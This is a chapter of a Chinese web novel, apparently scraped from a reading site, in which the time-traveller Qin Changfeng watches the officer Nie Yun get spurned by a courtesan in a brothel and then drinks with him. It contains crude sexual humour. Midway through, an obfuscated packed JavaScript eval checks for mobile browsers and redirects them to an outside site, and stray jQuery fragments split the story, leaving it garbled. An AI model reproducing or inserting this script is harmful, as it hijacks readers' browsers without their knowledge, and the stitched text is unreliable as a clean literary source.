撒尿是真,怕憋着却是假。秦长风想着待会万一要是真把持不住,大不了买个清倌人回去也不是不行!
最多就千八百两的事情,自己现在又不是出不起。既然来到这时代,该入乡随俗的也不必太过守上一世那点可怜的道德心。
更重要的他还是担心小桃儿每天继续那样变着法勾引自己,真怕哪一天就破了原则底线。
刚才有龟奴带路倒是没什么,可这一出来才知道根本就找不着茅房在哪。
四周静悄悄的没见个人影,无奈之下他只能沿路返回打算去前面大厅问问。
“妈妈,这是我这个月的饷银,请你让晴儿留在这里陪我多聊会儿天好不好?”
“就这点?你以为我这里是开善堂的啊!
你说人家赵公子是轻骑校尉你也是轻骑校尉,怎么差距就这么大!”
“妈妈,你就当行行好!我明天就去筹钱,拜托你今晚不要让晴儿去接客好不好……”
刚刚路过一个小房间,秦长风的脚步突然就顿住了。
【咦……这声音怎么听着如此耳熟?】
脑海里快速搜索了好一会儿,一个年轻的身影很快对号入座。
“是他?这家伙怎么在这,而且听这语气好卑微啊!”
秦长风寻声悄悄摸了过去,透过窗楞的缝隙,果然见到那张熟悉的脸。
这不是别人,正是几个月前在桑蒲山遇到的那个小将军。
当时他和容俊安正被谯怀瑾的护卫追杀,后来还是这家伙带人杀出来救了自己。
坐在小将军对面的是个长相颇为清纯的女子,此时正用秀帕掩面作哭泣状。
但从秦长风这个角度,却能清楚的看到女人手帕后面,脸上那抹不屑的冷笑。
刚才那个老鸨子就坐在女人身边,手里面还掂量把玩着两颗碎银子。
“没钱就别学人家来青楼找姑娘……
柳晴,这麻烦是你招来的,给你一刻钟时间赶紧把人给打发了,人家赵公子还在等着呢……”
老鸨子冷冷瞥了小将军一眼,两颗碎银子变戏法似的就从手里消失不见。
秦长风见状赶紧闪到树影后面。
“哼!穷鬼一个,癞**也想来吃天鹅肉!
呸……瞎了你的狗眼……”
等人彻底走远,秦长风这才重新凑上去吃瓜。
“晴儿……对不起……”
小将军伸手要去握住少女,但还没等握到便被躲开。
“晴儿,你这是怎么了?”
“聂云,你以后不要来找我了好不好?
我们根本不是一个世界的人……”
秦长风直到这时才知道,原来小将军的名字叫聂云。
“为什么?你不是说过喜欢我的吗?”
聂云宛若遭到雷击,浑身止不住的颤了颤。
“对,我是说过喜欢你!但喜欢不能当饭吃啊!
放手吧!与其双方痛苦,不如给彼此一个机会……”
女人起身,已是准备离开。
“哇!好茶啊!这女人果然飙得一手好茶艺!”
“不!不要走!我不想你再去接客,那姓赵的根本就不是什么好东西……”
聂云一把拉住女人的手,说什么也不放开。
“你够了!这样有意思么?
好啊!我不接客,我不去见那姓赵的。
有本事现在你就去找妈妈给我赎身,你去啊……”
女人狠狠甩开聂云的手,嘴上仍旧不肯罢休。
“醒醒吧,都快这么大的人了,一个月却只赚那区区二两碎银!
听句劝,当这破大头兵校尉没前途的!”
“破大头兵?没前途?你当初可不是这样说的!
你说你最喜欢我这样战场上杀敌的英雄……”
“英雄?没钱的英雄,比狗熊都不如!
每次闻到你身上的汗臭味,我都要恶心得一天吃不下饭!
就这样吧,识相的赶紧给我滚,不然妈妈肯定会教你怎么做人……”
女人彻底失去了耐心,撂下最后这句狠话后便头也不回地推门离开。
看着眼前这个决绝的背影,聂云双手死死**头发里,无论如何也不敢相信平日里温柔可人善解人意的柳晴竟会说出这些话来!
“啊……为什么……为什么要这样对我……”
房间里充斥着聂云歇斯底里的吼叫,门外秦长风却是提了提裤腰带,这瓜吃得膀胱差点憋爆掉。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17409311|200645||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
对于有些人来说,失恋需要时间去抚平创伤。但如今这个情况,有人觉得应该用更直接的方式去解决。
于是秦长风回来了,他提着一坛酒推开了房门。
此时的聂云情绪已经没刚才那么激动了,当见到秦长风突兀出现这家伙也是一愣。
“怎么是你?”
“刚才找茅房时无意间听到一些不该听的,知道聂兄心情不好,所以特地来陪你喝一杯!”
也不待对方邀请,秦长风直接坐在其对面,手里酒坛上的泥封也给拍开。
“男儿有泪不轻弹,只是未到伤心处。来,喝几杯就好了!”
聂云赶紧瞥过脸去,想要掩饰住通红的双眼。
秦长风也不知从哪里翻出两个大碗一下就给倒满。
酒到杯干,聂云抢过酒碗直接一口饮尽。
“呵呵……欢场中人,无非都是逢场作戏,聂兄又何必如此……”
“你不懂!我对柳晴是真心的!你不会懂的……”
秦长风赶紧又给添了一碗,聂云又是一口喝了个底朝天。
【醉神仙】的度数也不低,很快的这家伙便半醉半醒的开始讲述他与那个柳晴的故事。
事实也没有什么新鲜玩意,无非就是狗血的英雄救美。
两个月前这个叫柳晴的女人去灵觉寺上香,途中被人调戏,然后刚好被聂云给遇上。
没有丝毫意外,这个从没有见过世面的小处男又怎会是柳晴这种欢场老鳖的对手。
三两下功夫,聂云的兜里的那点钱就全交代了出去,不仅如此还在外面欠下了不少债。
最无语的是,付出了这么多,却连人家身子碰都没碰过。
“聂兄啊!首先我得承认,你的故事确实很感人,也相信你对柳晴是付出了真心。”
秦长风呡了口酒,不知为何心里面憋着一股无名火。
拍了拍聂云的肩膀。
“兄弟啊!真心或许不能换来柳晴一句小心肝!
但这叠真金,却绝对能让你今晚把柳晴干爆浆……”
啪……
一叠银票重重拍在桌上,今天这场子,他秦长风定要替眼前这位救命恩人给找回来……「商K,懂的都懂!」